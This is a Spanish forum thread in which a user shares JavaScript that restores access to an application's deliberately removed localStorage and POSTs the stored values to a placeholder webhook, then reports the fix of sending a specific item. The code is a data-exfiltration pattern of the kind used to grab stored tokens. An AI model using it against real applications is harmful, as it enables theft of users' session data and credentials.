Foro de elhacker.net

Programación => Desarrollo Web => Mensaje iniciado por: Rnowen en 11 Junio 2021, 10:37 am



Título: Enviar localstorage mediante webhook desde la consola, error 404 ¿?
Publicado por: Rnowen en 11 Junio 2021, 10:37 am
Hola.

Estuve informandome acerca del funcionamiento de LocalStorage, siempre me maneje más por el lado de las cookies y estoy obteniendo un error al intentar enviar mediante una webhook desde la consola un valor del mencionado almacenador de información;

Código
  1. function getLocalStoragePropertyDescriptor() {
  2.  const iframe = document.createElement('iframe');
  3.  document.head.append(iframe);
  4.  const pd = Object.getOwnPropertyDescriptor(iframe.contentWindow, 'localStorage');
  5.  iframe.remove();
  6.  return pd;
  7. }
  8.  
  9. Object.defineProperty(window, 'localStorage', getLocalStoragePropertyDescriptor());
  10. const localStorage = getLocalStoragePropertyDescriptor().get.call(window);
  11.  
  12.  

La aplicación al iniciarse limpia y no permite de alguna forma acceder a LocalStorage, por lo tanto utilice esa función que encontré navegando para poder acceder al LocalStorage.

Para corroborar que la función mencionada este en correcto funcionamiento hice una simple impresión desde la consola con:

Código
  1. console.log(LocalStorage);
  2.  

Esto devuelve lo buscado sin ningún problema, por lo tanto la función getLocalStoragePropertyDescriptor está bien.

Luego de eso, intente desde la misma consola poder enviar un webhook, esto funciona correctamente, pero al pasar el contenido de "LocalStorage" a una variable para ser enviado, recibo el error 404.
Este es el código;

Código
  1. function enviarhook() {
  2.      var request = new XMLHttpRequest();
  3.      request.open("POST", "direcciondelhook");
  4.  
  5.      request.setRequestHeader('Content-type', 'application/json');
  6.  
  7.      var msg = LocalStorage; //Linea que causa el error, msg es el contenido que sera enviado mediante POST al webhook. Si en vez de "LocalStorage" le atribuyo cualquier otro contenido, se envia correctamente, pero en cambio si esta tal cual lo presente aqui, recibo un error 400 "POST".
  8.  
  9.      var params = {
  10.        content: msg
  11.      }
  12.  
  13.      request.send(JSON.stringify(params));
  14.    }
  15.  

Quizás esto está prohibido por un tema de seguridad, pero puede ser que este empleando algo mal por lo tanto realizo el post aquí.

La pregunta es; ¿Cuál es el causante del error?

Saludos.


Título: Re: Enviar localstorage mediante webhook desde la consola, error 404 ¿?
Publicado por: Rnowen en 11 Junio 2021, 10:55 am
Actualizo: Ya lo pude resolver, simplemente pasando el parametro exacto a buscar en LocalStorage funciona sin problemas:


Código
  1. //cambiar:
  2. var msg = LocalStorage;
  3. //por:
  4. var msg = LocalStorage.getItem('valor');
  5. //Al parecer al justificar exactamente que quieres enviar lo hace sin problemas.
  6.  

Saludos.